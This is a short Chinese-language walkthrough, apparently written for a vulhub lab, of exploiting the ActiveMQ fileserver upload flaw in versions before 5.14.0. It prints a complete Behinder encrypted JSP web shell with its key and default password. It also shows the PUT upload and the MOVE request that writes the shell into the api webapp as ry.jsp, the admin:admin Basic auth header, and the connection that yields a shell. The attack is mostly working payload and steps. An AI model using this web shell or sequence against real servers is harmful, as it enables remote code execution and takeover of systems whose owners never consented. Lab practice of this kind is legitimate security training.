一、开启vulhub环境
docker-compose up -d 启动
docker ps 查看开放的端口

漏洞版本:ActiveMQ在5.14.0之前的版本(不包括5.14.0)
二、访问靶机IP 8161端口

默认账户密码都是admin
1、利用bp抓包,修改为PUT方法并在fileserver目录上传ry.txt冰蝎马,回显204证明上传成功**(注意要加Authorization:认证参数)**
/fileserver/ry.txt 请求目录
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> 冰蝎码

2、访问/fileserver/ry.txt文件,看是否可以成功解析

解析成功
3、通过MOVE方法移动ry.txt冰蝎马到api页面的ry.jsp文件中
MOVE /fileserver/ry.txt 移动方法
Destination: file:///opt/activemq/webapps/api/ry.jsp 写入路径

3、访问/api/ry.jsp,看是否解析

三、冰蝎连接,得到一个shell
注,需要在自定义请求头加上认证参数,如下:``Authorization: Basic YWRtaW46YWRtaW4=

至此,命令执行成功。
下期再见,家人们。